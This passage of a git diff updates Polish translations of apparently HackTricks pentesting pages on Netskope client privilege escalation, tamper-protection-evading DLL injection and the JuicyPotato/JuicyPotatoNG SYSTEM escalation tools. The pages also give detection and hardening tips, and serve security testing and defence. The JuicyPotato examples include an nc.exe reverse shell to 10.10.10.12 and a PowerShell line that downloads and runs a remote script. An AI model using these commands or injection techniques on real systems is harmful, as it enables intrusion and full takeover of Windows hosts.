nagle „szyfruje” swoje IPC, szukaj device ID, product GUID, install ID w HKLM jako materiału do klucza. --- ## 4) Bypassing IPC caller allow‑lists (path/name checks) -Niektóre usługi próbują uwierzytelnić peer poprzez rozpoznanie PID połączenia TCP i porównanie ścieżki/nazwy obrazu z allow‑listą binarek dostawcy znajdujących się w Program Files (np. stagentui.exe, bwansvc.exe, epdlp.exe). +Niektóre usługi próbują uwierzytelnić peer poprzez rozwiązywanie PID połączenia TCP i porównanie ścieżki/nazwy obrazu z listą dozwolonych binarek vendorowych umieszczonych w Program Files (np. stagentui.exe, bwansvc.exe, epdlp.exe). Dwa praktyczne obejścia: -- DLL injection do procesu z allow‑listy (np. nsdiag.exe) i proxy IPC z jego wnętrza. -- Uruchomienie binarki z allow‑listy w stanie zawieszenia i bootstrapowanie swojego proxy DLL bez CreateRemoteThread (zob. §5), aby spełnić reguły wymuszane przez sterownik. +- DLL injection do procesu z listy dozwolonych (np. nsdiag.exe) i proxy IPC z jego wnętrza. +- Uruchomienie allow‑listed binarki w stanie suspended i załadowanie własnego proxy DLL bez CreateRemoteThread (zob. §5), aby spełnić reguły wymuszane przez driver. --- ## 5) Tamper‑protection friendly injection: suspended process + NtContinue patch -Produkty często dostarczają sterownik minifilter/OB callbacks (np. Stadrv), który usuwa niebezpieczne prawa z uchwytów do chronionych procesów: +Produkty często dostarczają minifilter/OB callbacks driver (np. Stadrv), który usuwa niebezpieczne prawa z uchwytów do chronionych procesów: - Process: usuwa PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_READ, PROCESS_DUP_HANDLE, PROCESS_SUSPEND_RESUME - Thread: ogranicza do THREAD_GET_CONTEXT, THREAD_QUERY_LIMITED_INFORMATION, THREAD_RESUME, SYNCHRONIZE -Niezawodny loader w trybie użytkownika, który respektuje te ograniczenia: -1) CreateProcess wybranej binarki dostawcy z CREATE_SUSPENDED. -2) Uzyskaj uchwyty, do których nadal masz prawo: PROCESS_VM_WRITE | PROCESS_VM_OPERATION na procesie oraz uchwyt wątku z THREAD_GET_CONTEXT/THREAD_SET_CONTEXT (lub tylko THREAD_RESUME, jeśli łatwo patchujesz kod w znanym RIP). -3) Nadpisz ntdll!NtContinue (lub inny wczesny, gwarantowanie załadowany thunk) małym stubem, który wywołuje LoadLibraryW na ścieżce twojego DLL, a następnie wraca. -4) ResumeThread, aby wywołać stub w procesie i załadować Twój DLL. +Niezawodny loader w user‑mode, który respektuje te ograniczenia: +1) CreateProcess vendor binary z CREATE_SUSPENDED. +2) Uzyskaj uchwyty, na które nadal masz prawo: PROCESS_VM_WRITE | PROCESS_VM_OPERATION do procesu oraz uchwyt wątku z THREAD_GET_CONTEXT/THREAD_SET_CONTEXT (lub tylko THREAD_RESUME jeśli łatasz kod przy znanym RIP). +3) Nadpisz ntdll!NtContinue (lub inny wczesny, gwarantowany‑mapped thunk) małym stubem, który wywołuje LoadLibraryW na ścieżce Twojego DLL, a następnie skacze z powrotem. +4) ResumeThread, aby uruchomić stub w procesie i załadować Twój DLL. -Ponieważ nigdy nie użyłeś PROCESS_CREATE_THREAD ani PROCESS_SUSPEND_RESUME na już chronionym procesie (to ty go utworzyłeś), polityka sterownika jest spełniona. +Ponieważ nigdy nie użyłeś PROCESS_CREATE_THREAD ani PROCESS_SUSPEND_RESUME na już‑chronionym procesie (ty go utworzyłeś), polityka drivera jest spełniona. --- ## 6) Practical tooling -- NachoVPN (Netskope plugin) automatyzuje rogue CA, podpisywanie złośliwego MSI i serwuje potrzebne endpointy: /v2/config/org/clientconfig, /config/ca/cert, /v2/checkupdate. -- UpSkope to niestandardowy klient IPC, który konstruuje dowolne (opcjonalnie AES‑zaszyfrowane) komunikaty IPC i zawiera iniekcję przez zawieszony proces, aby pochodziły z binarki z allow‑listy. +- NachoVPN (Netskope plugin) automatyzuje rogue CA, podpisanie złośliwego MSI i serwuje potrzebne endpointy: /v2/config/org/clientconfig, /config/ca/cert, /v2/checkupdate. +- UpSkope to custom IPC client, który tworzy arbitralne (opcjonalnie AES‑szyfrowane) IPC messages i zawiera suspended‑process injection, aby pochodzić z allow‑listed binary. --- ## 7) Detection opportunities (blue team) -- Monitoruj dodatki do Local Machine Trusted Root. Sysmon + registry‑mod eventing (zob. wskazówki SpecterOps) działa dobrze. -- Oznaczaj wykonania MSI inicjowane przez usługę agenta z ścieżek typu C:\ProgramData\\\data\*.msi. -- Przeglądaj logi agenta pod kątem nieoczekiwanych hostów/tenantów rejestracyjnych, np.: C:\ProgramData\netskope\stagent\logs\nsdebuglog.log – szukaj addonUrl / anomalie tenantów i provisioning msg 148. +- Monitoruj dodatki do Local Machine Trusted Root. Sysmon + registry‑mod eventing (zob. SpecterOps guidance) działa dobrze. +- Oznaczaj wykonania MSI inicjowane przez usługę agenta z lokalizacji takich jak C:\ProgramData\\\data\*.msi. +- Przeglądaj logi agenta pod kątem nieoczekiwanych hostów/tenantów rejestracji, np.: C:\ProgramData\netskope\stagent\logs\nsdebuglog.log – szukaj addonUrl / tenant anomalii oraz provisioning msg 148. - Alertuj na localhost IPC clients, które nie są oczekiwanymi signed binaries lub które pochodzą z nietypowych drzew procesów potomnych. --- ## Hardening tips for vendors -- Powiąż enrollment/update hosts z restrykcyjną allow‑listą; odrzucaj niezaufane domeny w kodzie klienta. -- Uwierzytelniaj peerów IPC przy użyciu mechanizmów OS (ALPC security, named‑pipe SIDs) zamiast sprawdzania ścieżki/nazwy obrazu. -- Trzymaj material sekretu poza world‑readable HKLM; jeśli IPC musi być szyfrowane, wyprowadzaj klucze z chronionych sekretów lub negocjuj je przez uwierzytelnione kanały. -- Traktuj updater jako powierzchnię łańcucha dostaw: wymagaj pełnego łańcucha do zaufanego CA, weryfikuj podpisy pakietów względem pinned keys i fail closed jeśli walidacja jest wyłączona w konfiguracji. +- Powiąż enrollment/update hosts ze ścisłą allow‑listą; odrzucaj nieufne domeny w clientcode. +- Uwierzytelniaj IPC peers przy użyciu OS primitives (ALPC security, named‑pipe SIDs) zamiast sprawdzania ścieżki/nazwy obrazu. +- Trzymaj tajne materiały poza world‑readable HKLM; jeśli IPC musi być szyfrowane, wyprowadzaj klucze z chronionych sekretów lub negocjuj je przez authenticated channels. +- Traktuj updater jako surface supply‑chain: wymagaj pełnego chain do trusted CA, którą kontrolujesz, weryfikuj podpisy pakietów względem pinned keys i fail closed jeśli walidacja jest wyłączona w konfiguracji. -## Źródła +## References - [Advisory – Netskope Client for Windows – Local Privilege Escalation via Rogue Server (CVE-2025-0309)](https://blog.amberwolf.com/blog/2025/august/advisory---netskope-client-for-windows---local-privilege-escalation-via-rogue-server/) - [NachoVPN – Netskope plugin](https://github.com/AmberWolfCyber/NachoVPN) - [UpSkope – Netskope IPC client/exploit](https://github.com/AmberWolfCyber/UpSkope) diff --git a/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md b/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md index 2f1248287..711683679 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md +++ b/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md @@ -2,60 +2,60 @@ {{#include ../../banners/hacktricks-training.md}} -> [!WARNING] > JuicyPotato jest przestarzały. Generalnie działa na wersjach Windows do Windows 10 1803 / Windows Server 2016. Zmiany wprowadzone przez Microsoft począwszy od Windows 10 1809 / Server 2019 złamały oryginalną technikę. Dla tych i nowszych buildów rozważ nowocześniejsze alternatywy, takie jak PrintSpoofer, RoguePotato, SharpEfsPotato/EfsPotato, GodPotato i inne. Zobacz stronę poniżej po aktualne opcje i instrukcje użycia. +> [!WARNING] > JuicyPotato is legacy. It generally works on Windows versions up to Windows 10 1803 / Windows Server 2016. Microsoft changes shipped starting in Windows 10 1809 / Server 2019 broke the original technique. For those builds and newer, consider modern alternatives such as PrintSpoofer, RoguePotato, SharpEfsPotato/EfsPotato, GodPotato and others. See the page below for up-to-date options and usage. {{#ref}} roguepotato-and-printspoofer.md {{#endref}} -## Juicy Potato (abusing the golden privileges) +## Juicy Potato (nadużywanie "golden privileges") -_Słodzona wersja_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_, z odrobiną soku, tj. **kolejne narzędzie do Local Privilege Escalation, z kont usług Windows do NT AUTHORITY\SYSTEM**_ +_Słodsza wersja_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_, z odrobiną "soku", tj. **another Local Privilege Escalation tool, from a Windows Service Accounts to NT AUTHORITY\SYSTEM**_ #### You can download juicypotato from [https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts](https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts) -### Compatibility quick notes +### Szybkie uwagi o kompatybilności - Działa niezawodnie do Windows 10 1803 i Windows Server 2016, gdy bieżący kontekst ma SeImpersonatePrivilege lub SeAssignPrimaryTokenPrivilege. -- Złamane przez Microsoft hardening w Windows 10 1809 / Windows Server 2019 i nowszych. Dla tych buildów preferuj wymienione wyżej alternatywy. +- Nie działa w wyniku wzmocnień bezpieczeństwa w Windows 10 1809 / Windows Server 2019 i nowszych. Dla tych buildów preferuj alternatywy wymienione powyżej. -### Summary +### Podsumowanie -[**From juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md)**:** +[**Z pliku Readme juicy-potato**](https://github.com/ohpe/juicy-potato/blob/master/README.md)**:** -[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) i jego [warianty](https://github.com/decoder-it/lonelypotato) wykorzystują łańcuch eskalacji uprawnień oparty na serwisie `BITS` mającym nasłuch MiTM na `127.0.0.1:6666` oraz gdy posiadasz uprawnienia `SeImpersonate` lub `SeAssignPrimaryToken`. Podczas przeglądu builda Windows znaleźliśmy konfigurację, gdzie `BITS` był celowo wyłączony, a port `6666` zajęty. +[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) i jego [warianty](https://github.com/decoder-it/lonelypotato) wykorzystują łańcuch eskalacji uprawnień oparty na [`BITS`]() [service](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) mającej nasłuch MiTM na `127.0.0.1:6666` oraz gdy masz uprawnienia `SeImpersonate` lub `SeAssignPrimaryToken`. Podczas przeglądu konfiguracji Windows znaleźliśmy środowisko, w którym `BITS` został celowo wyłączony, a port `6666` był zajęty. -Postanowiliśmy uzbroić [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG): **Say hello to Juicy Potato**. +Postanowiliśmy "uzbroić" [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG): **poznaj Juicy Potato**. -> Dla teorii zobacz [Rotten Potato - Privilege Escalation from Service Accounts to SYSTEM](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/) i śledź łańcuch linków oraz odniesień. +> Dla teorii zobacz [Rotten Potato - Privilege Escalation from Service Accounts to SYSTEM](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/) i prześledź łańcuch linków oraz odnośników. -Odkryliśmy, że oprócz `BITS` istnieje kilka serwerów COM, które możemy nadużyć. Muszą one jedynie: +Odkryliśmy, że oprócz `BITS` istnieje kilka serwerów COM, które możemy wykorzystać. Muszą one jedynie: -1. być instantiowalne przez bieżącego użytkownika, zwykle „service user”, który ma uprawnienia do impersonacji -2. implementować interfejs `IMarshal` -3. działać jako użytkownik podwyższony (SYSTEM, Administrator, …) +1. być możliwe do zainicjowania przez bieżącego użytkownika, zwykle “service user”, który posiada uprawnienia do impersonacji +2. zaimplementować interfejs `IMarshal` +3. działać jako użytkownik z podwyższonymi uprawnieniami (SYSTEM, Administrator, …) -Po testach zebraliśmy i przetestowaliśmy obszerną listę [interesujących CLSID’ów](http://ohpe.it/juicy-potato/CLSID/) na kilku wersjach Windows. +Po testach uzyskaliśmy i sprawdziliśmy obszerną listę [interesujących CLSID-ów](http://ohpe.it/juicy-potato/CLSID/) na kilku wersjach Windows. -### Juicy details +### Szczegóły JuicyPotato pozwala na: -- **Target CLSID** _wybierz dowolny CLSID, który chcesz._ [_Tutaj_](http://ohpe.it/juicy-potato/CLSID/) _znajdziesz listę zorganizowaną według systemu operacyjnego._ -- **COM Listening port** _zdefiniuj port nasłuchu COM, który preferujesz (zamiast zmarshalowanego, hardcodowanego 6666)_ -- **COM Listening IP address** _wiąż serwer z dowolnym adresem IP_ -- **Process creation mode** _w zależności od uprawnień podszytego użytkownika możesz wybrać:_ +- **Docelowy CLSID** _wybierz dowolny CLSID, który chcesz._ [_Tutaj_](http://ohpe.it/juicy-potato/CLSID/) _znajdziesz listę uporządkowaną według systemu operacyjnego._ +- **Port nasłuchu COM** _określ port nasłuchu COM, którego chcesz użyć (zamiast na stałe ustawionego 6666)_ +- **Adres IP nasłuchu COM** _zwiąż serwer z dowolnym adresem IP_ +- **Tryb tworzenia procesu** _w zależności od uprawnień podszywanego użytkownika możesz wybrać:_ - `CreateProcessWithToken` (wymaga `SeImpersonate`) - `CreateProcessAsUser` (wymaga `SeAssignPrimaryToken`) - `both` -- **Process to launch** _uruchom program wykonywalny lub skrypt jeśli eksploatacja powiedzie się_ -- **Process Argument** _dostosuj argumenty uruchamianego procesu_ -- **RPC Server address** _dla bardziej dyskretnego podejścia możesz uwierzytelnić się do zewnętrznego serwera RPC_ -- **RPC Server port** _użyteczne jeśli chcesz uwierzytelnić się do zewnętrznego serwera, a firewall blokuje port `135`…_ -- **TEST mode** _głównie do celów testowych, tzn. testowania CLSIDów. Tworzy DCOM i wypisuje użytkownika tokenu. Zobacz_ [_tutaj dla testów_](http://ohpe.it/juicy-potato/Test/) +- **Proces do uruchomienia** _uruchom plik wykonywalny lub skrypt, jeśli eksploatacja zakończy się sukcesem_ +- **Argument procesu** _dostosuj argumenty uruchamianego procesu_ +- **Adres serwera RPC** _dla ukrytego podejścia możesz uwierzytelnić się na zewnętrznym serwerze RPC_ +- **Port serwera RPC** _przydatne, jeśli chcesz uwierzytelnić się na zewnętrznym serwerze, a zapora blokuje port `135`…_ +- **TRYB TESTOWY** _głównie do celów testowych, np. testowania CLSID-ów. Tworzy DCOM i wypisuje użytkownika tokenu. Zobacz_ [_tutaj do testów_](http://ohpe.it/juicy-potato/Test/) -### Usage +### Użycie ``` T:\>JuicyPotato.exe JuicyPotato v0.1 @@ -72,28 +72,28 @@ Optional args: -k : RPC server ip address (default 127.0.0.1) -n : RPC server listen port (default 135) ``` -### Final thoughts +### Ostatnie uwagi [**From juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md#final-thoughts)**:** -If the user has `SeImpersonate` or `SeAssignPrimaryToken` privileges then you are **SYSTEM**. +Jeśli użytkownik ma uprawnienia `SeImpersonate` lub `SeAssignPrimaryToken`, to jesteś **SYSTEM**. -Prawie niemożliwe jest zapobieżenie nadużyciu wszystkich tych serwerów COM. Możesz pomyśleć o modyfikacji uprawnień tych obiektów za pomocą `DCOMCNFG`, ale powodzenia — będzie to wyzwanie. +Praktycznie niemożliwe jest zapobieżenie nadużyciom wszystkich tych COM Servers. Możesz rozważyć modyfikowanie uprawnień tych obiektów za pomocą `DCOMCNFG`, ale powodzenia — to będzie trudne. -Rzeczywistym rozwiązaniem jest zabezpieczenie wrażliwych kont i aplikacji działających pod kontami `* SERVICE`. Zatrzymanie `DCOM` z pewnością utrudniłoby ten exploit, ale mogłoby mieć poważny wpływ na system operacyjny. +Rzeczywiste rozwiązanie polega na zabezpieczeniu wrażliwych kont i aplikacji, które działają pod kontami `* SERVICE`. Zatrzymanie `DCOM` z pewnością utrudniłoby ten exploit, ale mogłoby mieć poważny wpływ na system operacyjny. From: [http://ohpe.it/juicy-potato/](http://ohpe.it/juicy-potato/) ## JuicyPotatoNG (2022+) -JuicyPotatoNG ponownie wprowadza JuicyPotato-style lokalną eskalację uprawnień na nowoczesnych Windows przez połączenie: -- DCOM OXID resolution do lokalnego serwera RPC na wybranym porcie, omijając stary hardcoded 127.0.0.1:6666 listener. -- An SSPI hook to capture and impersonate the inbound SYSTEM authentication without requiring RpcImpersonateClient, which also enables CreateProcessAsUser when only SeAssignPrimaryTokenPrivilege is present. -- Sztuczki spełniające ograniczenia aktywacji DCOM (np. wcześniejszy wymóg grupy INTERACTIVE przy celowaniu w klasy PrintNotify / ActiveX Installer Service). +JuicyPotatoNG ponownie wprowadza eskalację uprawnień lokalnych w stylu JuicyPotato na nowoczesnych systemach Windows, łącząc: +- Rozwiązanie DCOM OXID do lokalnego serwera RPC na wybranym porcie, omijając stary, hardcoded nasłuch 127.0.0.1:6666. +- Hook SSPI do przechwycenia i podszycia się pod przychodzące uwierzytelnienie SYSTEM bez potrzeby użycia RpcImpersonateClient, co również umożliwia CreateProcessAsUser, gdy obecne jest tylko uprawnienie SeAssignPrimaryTokenPrivilege. +- Sztuczki spełniające ograniczenia aktywacji DCOM (np. dawny wymóg grupy INTERACTIVE przy celowaniu w klasy PrintNotify / ActiveX Installer Service). Ważne uwagi (zachowanie zmienia się między buildami): -- September 2022: Initial technique worked on supported Windows 10/11 and Server targets using the “INTERACTIVE trick”. -- January 2023 update from the authors: Microsoft later blocked the INTERACTIVE trick. A different CLSID ({A9819296-E5B3-4E67-8226-5E72CE9E1FB7}) restores exploitation but only on Windows 11 / Server 2022 according to their post. +- Wrzesień 2022: Początkowa technika działała na wspieranych systemach Windows 10/11 i Server, wykorzystując “INTERACTIVE trick”. +- Styczeń 2023 — aktualizacja od autorów: Microsoft później zablokował INTERACTIVE trick. Inny CLSID ({A9819296-E5B3-4E67-8226-5E72CE9E1FB7}) przywraca możliwość eksploatacji, ale tylko na Windows 11 / Server 2022, według ich wpisu. Podstawowe użycie (więcej flag w pomocy): ``` @@ -103,13 +103,13 @@ JuicyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe" -a "/c whoami" # -s Scan for a COM port not filtered by Windows Defender Firewall # -i Interactive console (only with CreateProcessAsUser) ``` -Jeśli celem jest Windows 10 1809 / Server 2019, gdzie klasyczny JuicyPotato został załatany, preferuj alternatywy podlinkowane powyżej (RoguePotato, PrintSpoofer, EfsPotato/GodPotato, etc.). NG może być sytuacyjny, zależnie od build i service state. +Jeśli celujesz w Windows 10 1809 / Server 2019, gdzie klasyczny JuicyPotato jest załatany, preferuj alternatywy podlinkowane powyżej (RoguePotato, PrintSpoofer, EfsPotato/GodPotato itp.). NG może być sytuacyjne w zależności od builda i stanu usługi. ## Przykłady -Note: Visit [this page](https://ohpe.it/juicy-potato/CLSID/) for a list of CLSIDs to try. +Uwaga: Odwiedź [this page](https://ohpe.it/juicy-potato/CLSID/) , aby uzyskać listę CLSID-ów do wypróbowania. -### Get a nc.exe reverse shell +### Uzyskaj nc.exe reverse shell ``` c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t * @@ -126,13 +126,13 @@ c:\Users\Public> ``` .\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t * ``` -### Uruchom nowe CMD (jeśli masz dostęp RDP) +### Uruchom nowe CMD (jeśli masz dostęp przez RDP) ![](<../../images/image (300).png>) ## Problemy z CLSID -Często domyślny CLSID, którego używa JuicyPotato, **nie działa** i exploit się nie udaje. Zazwyczaj potrzeba kilku prób, aby znaleźć **działający CLSID**. Aby uzyskać listę CLSID do wypróbowania dla konkretnego systemu operacyjnego, odwiedź tę stronę: +Często domyślny CLSID używany przez JuicyPotato **nie działa** i exploit kończy się niepowodzeniem. Zwykle potrzeba wielu prób, aby znaleźć **działający CLSID**. Aby uzyskać listę CLSID do wypróbowania dla konkretnego systemu operacyjnego, odwiedź tę stronę: - [https://ohpe.it/juicy-potato/CLSID/](https://ohpe.it/juicy-potato/CLSID/) @@ -140,13 +140,13 @@ Często domyślny CLSID, którego używa JuicyPotato, **nie działa** i exploit Najpierw będziesz potrzebować kilku plików wykonywalnych oprócz juicypotato.exe. -Pobierz [Join-Object.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/utils/Join-Object.ps1) i załaduj go do swojej sesji PS, a następnie pobierz i uruchom [GetCLSID.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1). Ten skrypt utworzy listę możliwych CLSID do przetestowania. +Pobierz [Join-Object.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/utils/Join-Object.ps1) i załaduj go do swojej sesji PS, a także pobierz i uruchom [GetCLSID.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1). Ten skrypt utworzy listę możliwych CLSID do przetestowania. -Następnie pobierz [test_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat)(zmień ścieżkę do listy CLSID i do pliku wykonywalnego juicypotato) i uruchom go. Zacznie testować każdy CLSID i **gdy zmieni się numer portu, będzie to oznaczać, że CLSID zadziałał**. +Następnie pobierz [test_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat) (zmień ścieżkę do listy CLSID i do pliku wykonywalnego juicypotato) i uruchom go. Zacznie testować każdy CLSID, a **gdy numer portu się zmieni, będzie to oznaczać, że CLSID zadziałał**. -**Sprawdź** działające CLSID **używając parametru -c** +**Sprawdź** działające CLSID-y **używając parametru -c** -## Źródła +## Referencje - [https://github.com/ohpe/juicy-potato/blob/master/README.md](https://github.com/ohpe/juicy-potato/blob/master/README.md) - [Giving JuicyPotato a second chance: JuicyPotatoNG (decoder.it)](https://decoder.cloud/2022/09/21/giving-juicypotato-a-second-chance-juicypotatong/)